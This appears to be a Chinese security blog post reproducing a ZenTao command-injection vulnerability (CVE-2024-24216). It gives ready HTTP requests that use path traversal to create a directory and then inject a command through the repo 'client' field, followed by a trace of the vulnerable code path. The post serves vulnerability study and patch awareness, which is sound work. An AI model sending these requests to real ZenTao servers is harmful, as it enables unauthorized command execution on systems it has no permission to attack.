禅道命令注入(CVE-2024-24216)复现

2024-12-23 1 0

0x00基本信息

版本

18.0<=zentao<=18.10

复现情况

win10、phpstudy、zentaov18.5

0x01exp

我复现的POC

生成目录

POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

files[]=../../tmp/log/这里换成他提示的文件/test

执行命令

POST /index.php?m=repo&f=edit&repoID=2&objectID=0 HTTP/1.1
Host: demo.com
Content-Length: 168
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://demo.com
Referer: http://demo.com/index.php?m=repo&f=edit&repoID=2&objectID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive

product%5B%5D=1&projects%5B%5D=7&SCM=Git&serviceHost=&name=abcc0koo&path=C%3A%2F&encoding=utf-8&client=calc%3B&account=&password=&encrypt=base64&desc=&uid=6745712d9acc0

0x02复现

1、找到可以命令注入的页面和输入命令的位置

禅道命令注入(CVE-2024-24216)复现插图

2、保存的时候会出现这个

禅道命令注入(CVE-2024-24216)复现插图1

3、此时就需要准备一个请求,然后这个提示就没了也可以正常保存了。

下面需要替换的位置:

例如

图片给的是C:\phpstudy_pro\WWW\zentaopms\temp\log\version_67443fdfb3dd0.log

那替换的位置就需要写version_67443fdfb3dd0.log

POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

files[]=../../tmp/log/这里换成他提示的文件/test

4、然后直接报错就会执行命令。它可能会弹很多个计算机。

禅道命令注入(CVE-2024-24216)复现插图2

0x03漏洞原理

详细的解释

1、首先找到执行命令的函数,我是反着找。

是直接通过post方法接收的参数中间没有其他地方调用过client

禅道命令注入(CVE-2024-24216)复现插图3

2、然后就是那个函数调用了checkConnection函数

禅道命令注入(CVE-2024-24216)复现插图4

之后就发现有两个函数调用了checkConnection函数

第一个是create函数

禅道命令注入(CVE-2024-24216)复现插图5

第二个是update函数

禅道命令注入(CVE-2024-24216)复现插图6

3、然后找一找是哪里调用的这两个函数。首先肯定时找创建的那个函数。

从函数的位置可以看到是repo模块的

禅道命令注入(CVE-2024-24216)复现插图7

然后去前端也可以找到m=repof=create的路径

禅道命令注入(CVE-2024-24216)复现插图8

跟新就不用说了,就是创建成功后就可以跟新了。

4、此时还不能执行命令,因为在这两个函数之前还会调用checkClient函数做判断。

禅道命令注入(CVE-2024-24216)复现插图9

这个函数的大致意思是:

首先判断client是否为空

之后判断client中是否有空格

再之后它会判断clientVersionFile是否为空,如果为空它会生成一个给存在clientVersionFile参数中。

之后判断clientVersionFile是否存在是目录或是文件。如果存在就会继续下去。

不存在,最后将刚刚生成clientVersionFile的显示在前端告诉你,要你去手动创建一个。

5、此时就有一个函数能达到这个效果,能创建一个目录并且名字可以自定义和目录穿越。

禅道命令注入(CVE-2024-24216)复现插图10

它首先接收全部post传过来的参数,之后和customRoot的路径拼接,这里可以用../选择位置。后面会判断是否是目录,如果不是才会创建成功。

0x04修复

更新到安全版本

0x05总结

在win系统下,因为没有什么好的方法可以绕过空格,而且有些cmd可以执行的命令,他这个执行命令的exec函数反而不能执行了。

linux下有方法可以绕过空格,所以linux搭建的危害可能大些。

0x06参考

https://vuldb.com/?id.253148


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用SkyScalpel在云环境中对JSON策略执行安全分析与处理
WordPress-Umbrella插件本地文件包含漏洞复现(CVE-2024-12209)
浅谈src挖掘中——文件上传和XSS漏洞的组合拳
MACOBOX:一款针对硬件安全的多合一渗透测试工具箱
Matildapp:针对Web 3.0环境的网络安全与渗透测试框架
Jumpserver_decrypto: 解密 Jumpserver ssh配置的开源工具

发布评论